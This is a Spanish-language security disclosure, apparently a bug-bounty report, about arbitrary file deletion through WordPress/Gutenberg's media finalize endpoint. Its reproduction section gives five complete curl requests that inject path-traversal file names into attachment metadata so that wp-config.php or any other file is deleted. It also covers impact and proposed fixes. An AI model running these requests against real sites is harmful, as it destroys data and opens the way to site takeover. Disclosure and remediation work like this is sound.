Resumen
El endpoint REST de procesamiento de medios en el navegador POST /wp/v2/media/<id>/finalize guardaba sin ningún saneamiento las cadenas que enviaba el usuario dentro de los metadatos del adjunto (_wp_attachment_metadata), tanto la clave superior file como los file de cada tamaño (sizes[*]['file']). No había sanitize_callback, ni pattern, ni sanitize_file_name(), ni comprobación de nombre base en toda esa ruta.
El problema se convertía en un borrado arbitrario de ficheros porque una de las ramas de wp_delete_attachment_files() —la que trata $backup_sizes— deriva tanto el fichero a borrar como el directorio que debería limitar ese borrado del valor $meta['file'], que controla el atacante. Como el "directorio de confinamiento" lo elige la misma persona que elige el fichero, la comprobación de contención wp_delete_file_from_directory() queda anulada. El resto de ramas de esa función derivan su directorio de get_attached_file() (que el atacante no controla) y están correctamente confinadas; solo esta no.
El resultado: un usuario con rol Autor —el rol más bajo que tiene la capacidad upload_files— podía borrar cualquier fichero que el proceso PHP pudiera eliminar, en cualquier parte del disco.
El endpoint lo aporta el plugin Gutenberg (verificado en la versión 23.6.0 sobre WordPress 7.0.2) y también existe en el tronco de desarrollo del núcleo (7.1-beta3). En Gutenberg la funcionalidad está activada de forma incondicional; en el núcleo, la puerta es is_ssl() || 'localhost' === $host || …, es decir, está activa por defecto en todo sitio HTTPS.
Pasos de reproducción
El ataque encadena cinco peticiones HTTP autenticadas como el propio Autor (con su application password), sobre un adjunto que ha subido él mismo. No hay interacción de la víctima.
1. El Autor sube un JPEG real:
curl -u "author1:$AP" -H "Content-Disposition: attachment; filename=zap4.jpg" \
-H "Content-Type: image/jpeg" --data-binary @zap.jpg \
-X POST "$B/?rest_route=/wp/v2/media"
2. Se envenena el nombre de un sub-tamaño con el nombre del fichero a destruir, a través de finalize:
curl -u "author1:$AP" -X POST -H "Content-Type: application/json" \
-d '{"sub_sizes":[{"image_size":"thumbnail","file":"wp-config.php",
"width":150,"height":150,"mime_type":"image/jpeg","filesize":1}]}' \
"$B/?rest_route=/wp/v2/media/8/finalize"
3. Se "blanquea" la entrada envenenada hacia el metadato protegido _wp_attachment_backup_sizes. Para ello se usa la acción AJAX image-editor, que solo exige la capacidad edit_post y un nonce que WordPress imprime al propio Autor en el popup de medios:
# WordPress imprime el nonce al Autor: imageEdit.open( 8, "..." )
curl -b author.jar -X POST "$B/wp-admin/admin-ajax.php" \
-d 'action=image-editor&_ajax_nonce=[REDACTADO]&postid=8&do=save&target=all' \
--data-urlencode 'history=[{"r":90}]'
wp_ajax_image_editor() copia la entrada envenenada tal cual al metadato protegido.
4. Se vuelve a envenenar la clave superior metadata['file'] para salir de la raíz de subidas, de nuevo vía finalize:
curl -u "author1:$AP" -X POST -H "Content-Type: application/json" \
-d '{"sub_sizes":[{"image_size":"original","file":"../../x.jpg",
"width":600,"height":400,"filesize":1}]}' \
"$B/?rest_route=/wp/v2/media/8/finalize"
5. El Autor borra su propio adjunto, lo que dispara wp_delete_attachment_files():
curl -u "author1:$AP" -X DELETE "$B/?rest_route=/wp/v2/media/8&force=true"
El punto de escritura sin saneamiento está en finalize_item(), donde el valor entra literal:
$metadata['file'] = $sub_size['file']; // ruta de nivel superior, literal
Y el sumidero, la única rama sin confinar de wp_delete_attachment_files() (wp-includes/post.php), donde el directorio de contención se deriva del valor controlado por el atacante:
$del_dir = path_join( $uploadpath['basedir'], dirname( $meta['file'] ) ); // directorio controlado
foreach ( $backup_sizes as $size ) {
$del_file = path_join( dirname( $meta['file'] ), $size['file'] ); // objetivo controlado
if ( ! empty( $del_file ) ) {
$del_file = path_join( $uploadpath['basedir'], $del_file );
if ( ! wp_delete_file_from_directory( $del_file, $del_dir ) ) {
$deleted = false;
}
}
}
Como path_join() devuelve la ruta sin tocar cuando es absoluta, y wp_delete_file_from_directory() solo comprueba que el fichero esté dentro del directorio (derivado del mismo $meta['file']), la comprobación siempre pasa.
En una segunda demostración, con una ruta absoluta completamente fuera del document root (/home/.../victimdir/backup.sql), el fichero también se borró: el borrado no está confinado ni a wp-content/uploads ni al directorio del sitio.
Impacto
Un usuario con rol Autor —rol que a menudo se concede a colaboradores externos, freelancers y blogs multi-autor— podía borrar cualquier fichero que el proceso PHP pudiera eliminar, en cualquier parte del disco. En concreto:
- Borrado de
wp-config.php→ toma de control del sitio. Tras eliminarlo, WordPress redirige a todos los visitantes awp-admin/setup-config.php(comportamiento observado en la prueba). El primer visitante no autenticado podría apuntar la instalación a una base de datos bajo su control y convertirse en administrador, lo que abre la puerta a ejecución de código a través del editor de plugins/temas. El investigador observó la redirección pero no completó la reinstalación. - Borrado de
.htaccess(desactivando el endurecimiento del directorio de subidas y los bloqueos de ejecución de PHP), drop-ins de seguridad de mu-plugins, copias de seguridad o cualquier otro fichero propiedad del usuario PHP —incluido, en hosting compartido, ficheros de otros inquilinos, ya que el traversal sale por completo de la raíz de subidas y del document root. - Destrucción del contenido del sitio y de la propia instalación.
Sin interacción de la víctima ni ingeniería social; cinco peticiones HTTP.
Controles negativos verificados por el investigador: un Contributor recibe HTTP 403 (rest_cannot_edit_image) y un Autor contra un adjunto de un administrador recibe HTTP 403 (rest_cannot_edit). Por tanto el ataque solo funciona sobre un adjunto que el propio Autor haya subido, que es justo lo que el ataque necesita.
Remediación
El investigador propuso corregir dos defectos independientes:
finalize_item()no debe aceptar componentes de ruta. Pasar cada$sub_size['file']/$sub_size['original_image']porwp_basename()+sanitize_file_name()y rechazar los valores que cambien, tanto en el núcleo como en Gutenberg. Añadir además unvalidate_callbacka las propiedadesfileyoriginal_imagedel esquema, y unvalidate_callbackde tipo enum paraimage_size.
- Endurecer el sumidero de todos modos. En
wp_delete_attachment_files()(wp-includes/post.php), derivar el directorio de confinamiento de datos de confianza y no de$meta['file'], imitando lo que ya hacen el resto de ramas de la función:
$intermediate_dir = path_join( $uploadpath['basedir'], dirname( _wp_relative_upload_path( $file ) ) );
foreach ( $backup_sizes as $size ) {
$del_file = path_join( $intermediate_dir, wp_basename( $size['file'] ) );
wp_delete_file_from_directory( $del_file, $intermediate_dir );
}
Opcionalmente, sanear en la lectura: que wp_update_attachment_metadata() rechace los valores de file, original_image, source_image, animated_video* y sizes[*]['file'] que contengan /, \ o ...
El programa (WordPress) clasificó el reporte como resuelto y pagó recompensa (importe no público). Enviado el 11 de agosto de 2026 y divulgado el 28 de agosto de 2026.
Contexto: relación con CVE-2018-12895
El fallo pertenece a la misma familia que CVE-2018-12895 (WordPress ≤ 4.9.6, borrado arbitrario de ficheros autenticado, corregido en 4.9.7): comparten el sumidero (wp_delete_attachment_files()) y el modelo de impacto (borrar wp-config.php → reinstalación forzada → ejecución de código). Pero es un fallo distinto: el CVE de 2018 abusaba de la clave thumb desde wp-admin/post.php, y su parche —un basename() sobre esa clave— no toca ni la clave file ni la rama $backup_sizes, ni el endpoint finalize (que no existía en 2018).